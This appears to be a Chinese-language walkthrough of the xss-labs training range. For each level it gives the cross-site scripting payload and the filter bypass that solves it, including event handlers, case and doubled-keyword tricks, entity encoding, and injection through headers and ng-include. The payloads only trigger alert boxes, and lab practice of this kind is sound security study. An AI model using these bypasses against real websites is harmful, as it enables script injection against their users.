xss-labs

xss-labs

level1

观察后直接再url上的test添加

1
<script>alert("100")</script>

level2

使用搜索框,输入

1
<script>alert("100")</script>

但是被过滤了一部分

< > “ ”被过滤

因此需要绕过

查资料之后发现,< > “ ”被转化成实体html字符实体。

但是,语句经过了一个input转化为文本,于是可以利用input闭合

1
"><script>alert("100")</script>

level3

即使对input进行闭合,也无法绕过,依然会对<>等进行过滤

于是需要有一个不用<>的语句

查资料发现有以下几种

1
' onclick ='javascript:alert(1)'

点击事件

1
' onmouseover='javascript:alert(1)'

鼠标移入

1
'onfocus='javascript:alert(1)'

聚焦点击

level4

单引号换成双引号即可

level5

本题测试之后,首先过滤<>,还有在on,script中会插入_

那么之前的方法都不能用了

使用

1
"><input type="url" src="javascript:alert(‘xss’);">

进行构造,发现">留在了搜索框的后面,也就是说有url的注入

可以用

1
"><a href=javascript:alert('xss')>100</a>

进行构造

level6

比较有趣的是,相比于level5,6少了一个对输入全小写的处理过程,于是可以用大小写绕过str_replace

1
"><a hrEf=javascript:alert('xss')>100</a>

level7

过滤script,href,因此需要新思路来看,由于是直接删除字段,那么根据sqli-labs的less25来看,对其进行双写即可

1
"><a hrehreff=javascrscriptipt:alert('xss')>100</a>

level8

过滤script,href以及双引号,因此需要看一下源码,发现注入点有两个,其中一个直接放入中的url中,于是直接用javascript:alert(‘xss’)同时逃过即可

而在使用url时,会进行一次解码,所以用unicode编码绕过

1
&#x006a;&#x0061;&#x0076;&#x0061;&#x0073;&#x0063;&#x0072;&#x0069;&#x0070;&#x0074;&#x003a;&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0027;&#x0078;&#x0073;&#x0073;&#x0027;&#x0029;

或者

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;

level9

需要具有http://的字段

于是

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;http://&#39;&#41;

加上http://即可

level10

查看源码发现只有t_sort可以利用,但是在没有源码的情况下如何测试?

1
&t_link=" type="text" &t_history=" type="text" &t_sort=" type="text"

直接将其放入url发现只有t_sort有反应

然后就可以直接构造payload

1
&t_sort=" type="text” onmouseover="javascript:alert(1)

level11

1
&t_link="type="text&t_history="type="text&t_sort="type="text&t_ref="type="text

依然是t_sort有反应,把上一题的payload扔进去,发现”“转码了

使用unicode试试,发现传不进去

只能看源码了,发现直接跟refer有关,因此需要抓包了

然后发现refer直接传到t_ref的value中

于是可以直接构造

1
" type="text" onmousemove="alert(1)

level12

在UA处进行注入

1
" type="text" onmousemove="alert(1)

level13

靶场好像出了一点点问题

出现了不正常的warning,问题不大,看了源码后就可以直接发现是cookie

level14

整个网页有问题没法做

最终的payload为

1
'"><img src=1 onerror=alert(document.domain)>'

原理为img的链接不存在会直接执行报错语句

level15

刚开始有一个404界面,删去src之后正常了

那么src就是其中的一个注入点,看源码之后发现其中有一个ng-include:在body里面

那么根据查了一下资料

ng-include 指令用于包含外部的 HTML 文件。

包含的内容将作为指定元素的子节点。

ng-include 属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下。

1
<element ng-include="filename" onload="expression" autoscroll="expression" ></element>

ng-include 指令作为元素使用:

1
<ng-include src="filename" onload="expression" autoscroll="expression" ></ng-include>

也就是说可以利用同域名下的网页包含xss

1
level1.php?name=<script>alert("100")</script>

但是没法成功

1
2
3
?src='level1.php?name=<img src=1 onerror=alert("xss")>'
?src='level1.php?name=<input onclick=alert("xss")>'
?src='level1.php?name=<a href="javascript:alert(233)">xss</a>'

上面都是可行的(不知道为什么)

level16

过滤了空格和/

可以用%0a,%0d代替

1
2
3
<img%0asrc=2%0aonerror=alert(1)>

<img%0dsrc=2%0donerror=alert(1)>

level17-20

插件不支持(IE也只能支持17和18,19出bug)

1
?arg01=a&arg02=b%20onmouseover=%27javascript:alert(1)%27